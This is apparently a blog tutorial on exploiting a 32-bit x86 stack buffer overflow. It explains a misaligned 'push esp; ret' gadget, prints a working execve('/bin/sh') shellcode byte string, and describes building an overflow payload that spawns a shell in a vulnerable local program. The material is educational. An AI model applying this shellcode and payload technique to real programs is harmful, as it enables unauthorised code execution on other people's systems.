Buffer Overflow Attack from the Ground-up II: Gadget and Shell Code Injection
The previous post introduced the heap, stack, and buffer overflow on the stack using disassembly and GDB. In 'Buffer Overflow Attack from the Ground-Up II,' I will show how to hijack the shell and control the system through the vulnerable program.
Gadgets
A ransom note is created by cutting out letters or words from magazines or newspapers and pasting them together to form a message.
An assembly gadget is quite similar to this technique, a gadget is a small sequence of machine instructions ending with a ret (return) instruction. These gadgets are found in the program’s existing code and are used to execute specific operations. Attackers chain multiple gadgets together to perform complex actions, similar to forming a coherent message from cut-out words in a ransom note.
As an example, a jmp esp
gadget can be found in assembly code, such as in <__libc_start_main@plt>
, as shown in the following code block.
By extracting the highlight part, the assembly code can be reformed to be a different instruction.
8049131: e8 aa ff ff ff call 80490e0 <__libc_start_main@plt> 8049136: f4 hlt 8049137: 8b 1c 24 mov (%esp),%ebx 804913a: c3 ret
The reformed instruction (starting from 0x8049135 and ending at 0x804913a) represents
8049135: ff f4 push esp 8049137: 8b 1c 24 mov (%esp),%ebx 804913a: c3 ret
Where, under the 32-bit x86 architecture, push esp
pushes the current value of the ESP (Extended Stack Pointer) register onto the stack. While mov (%esp), %ebx
is not necessary, and the gadget can finally return to ret
address, which is equivalent to jmp esp
, meaning the EIP (instruction counter) will go to the current top of the stack and execute the instructions found there.
Shellcode
A shellcode is a small piece of code used as the payload to be executed, after execution, a shell can be spawned for the process to interact. The term “shellcode” comes from its initial purpose of spawning a command shell, but it can be used to perform a variety of tasks, depending on the goals of the attacker.
The code from previous code block is a shell code, provided by Jean Pascal Pereira. [1]
Linux x86 execve("/bin/sh") - 28 bytes: http://0xffe4.org ↩︎
The assembly binary (inside char shellcode[]
) is:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
Spawn a Shell
That will be very interesting if we can construct an input that overflows the buffer, overwrites the original return address with the gadget (so that the program executes the following instructions at the top of the stack), and places shellcode at the top of the stack that will spawn a shell for us, as shown in the following figure.
That sounds like a good plan. Let's use GDB to see what happens!
The input point is shown in section C, as we inputed 10101234
, stored at 0xffffd66c (indicated using red "input" and an arrow), and the ret
is at 0xffffd70c (in red and blue double-block in section C). Section A shows the gadget and section B shows the original ret
value 0x80492d5.
The shellcode is then inserted by user input right after the return address (yellow underline indicated that). The provided Python code is to implement the design, which saves the output in a file.
The Python program write a constructed string which is (some of the character are invisible):
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000051�Ph//shh/bin����°
̀1�@̀
By inputing the file content to the vulnerable program, an interactive shell has been gained and the attacker can interact as current user (the process owner).
More Readings
More chapters is under writing, welcome back